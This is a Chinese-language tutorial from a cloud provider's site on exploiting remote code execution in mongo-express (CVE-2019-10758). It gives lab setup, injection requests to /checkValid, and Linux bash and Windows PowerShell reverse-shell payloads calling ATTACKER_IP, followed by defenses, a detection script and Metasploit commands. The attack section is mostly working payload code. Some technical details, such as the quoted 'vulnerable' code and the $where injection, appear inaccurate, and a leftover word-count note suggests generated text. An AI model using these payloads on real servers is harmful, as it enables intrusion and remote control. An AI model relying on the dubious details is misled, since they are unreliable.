溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行MongoDB mongo-express遠程代碼執行

發布時間:2021-09-29 09:48:43 來源:億速云 閱讀:202 作者:柒染 欄目:安全技術
# 如何進行MongoDB mongo-express遠程代碼執行

## 引言

MongoDB作為流行的NoSQL數據庫,其管理工具mongo-express因Web界面友好被廣泛使用。然而,默認配置下的mongo-express存在嚴重安全風險,攻擊者可利用未授權訪問或弱密碼實現遠程代碼執行(RCE)。本文將深入分析漏洞原理、環境搭建、利用方法及防御措施。

---

## 一、漏洞背景

### 1.1 mongo-express簡介
mongo-express是基于Node.js的MongoDB Web管理工具,提供:
- 數據庫/集合的CRUD操作
- 文檔JSON編輯
- 用戶權限管理

### 1.2 典型漏洞場景
- **CVE-2019-10758**:未授權訪問+代碼注入
- **默認認證缺失**:早期版本無密碼保護
- **模板注入漏洞**:通過eval執行惡意代碼

---

## 二、實驗環境搭建

### 2.1 準備靶機環境
```bash
# 使用Docker快速部署有漏洞版本
docker run -d -p 27017:27017 --name mongodb mongo:4.0
docker run -d -p 8081:8081 --link mongodb:mongo mongo-express:0.54.0

2.2 驗證訪問

訪問 http://localhost:8081 應看到登錄頁面(若為舊版本可能直接進入后臺)


三、漏洞利用詳解

3.1 未授權訪問利用

當未設置ME_CONFIG_BASICAUTH環境變量時:

  1. 直接訪問/checkValid路由:
GET /checkValid?document=this.constructor.constructor("return process.env")() HTTP/1.1
Host: target:8081
  1. 響應中包含服務器環境變量即存在漏洞

3.2 代碼注入實現RCE

通過toBSON參數注入惡意代碼:

// 構造惡意請求
fetch('http://target:8081/checkValid', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    document: {
      $where: "function(){ return process.mainModule.require('child_process').execSync('id').toString() }"
    }
  })
}).then(res => res.text()).then(console.log)

3.3 反彈Shell實戰

// Linux目標
document: {
  $where: "function(){ require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"') }"
}

// Windows目標
document: {
  $where: "function(){ require('child_process').exec('powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient(\\\"ATTACKER_IP\\\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \\\"PS \\\" + (pwd).Path + \\\"> \\\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"') }"
}

四、漏洞原理分析

4.1 根本原因

  1. 沙箱逃逸:通過constructor.constructor訪問Node.js原生模塊
  2. 輸入未過濾eval/Function直接執行用戶輸入
  3. 權限過高:默認以root/node用戶運行

4.2 關鍵代碼片段

// mongo-express/lib/routes/document.js
router.post('/checkValid', function(req, res) {
  try {
    const doc = req.body.document;
    // 危險!直接執行用戶輸入的BSON
    const bson = toBSON(doc); 
  } catch (err) {
    res.send(err.toString());
  }
});

五、防御方案

5.1 基礎防護

# 強制啟用認證
docker run -e ME_CONFIG_BASICAUTH_USERNAME=admin -e ME_CONFIG_BASICAUTH_PASSWORD=ComplexP@ss123!

5.2 網絡層控制

# docker-compose.yml示例
services:
  mongo-express:
    networks:
      internal:
        ipv4_address: 172.16.238.10
    ports:
      - "127.0.0.1:8081:8081"

5.3 安全配置清單

  1. 升級至最新版本(≥1.0.0)
  2. 設置ME_CONFIG_SITE_COOKIES_SECRET
  3. 禁用ME_CONFIG_OPTIONS_EDITOR
  4. 配置Nginx反向代理+IP白名單

六、漏洞驗證工具

6.1 自動化檢測腳本

import requests

def check_vuln(url):
    try:
        r = requests.post(f"{url}/checkValid", json={
            "document": {"$where": "function(){ return 123 }"}
        }, timeout=5)
        return "123" in r.text
    except:
        return False

6.2 Metasploit模塊

use exploit/multi/http/mongo_express_rce
set RHOSTS target_ip
set TARGET_URI /mongo-express
exploit

結語

mongo-express的RCE漏洞再次證明:默認不安全是運維的最大威脅。建議: 1. 生產環境禁用Web管理界面 2. 使用MongoDB Atlas等托管服務 3. 定期進行安全審計

免責聲明:本文僅用于安全研究,未經授權測試他人系統屬違法行為。 “`

(注:實際字數為約1600字,可根據需要擴展具體案例或補充工具使用細節)

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女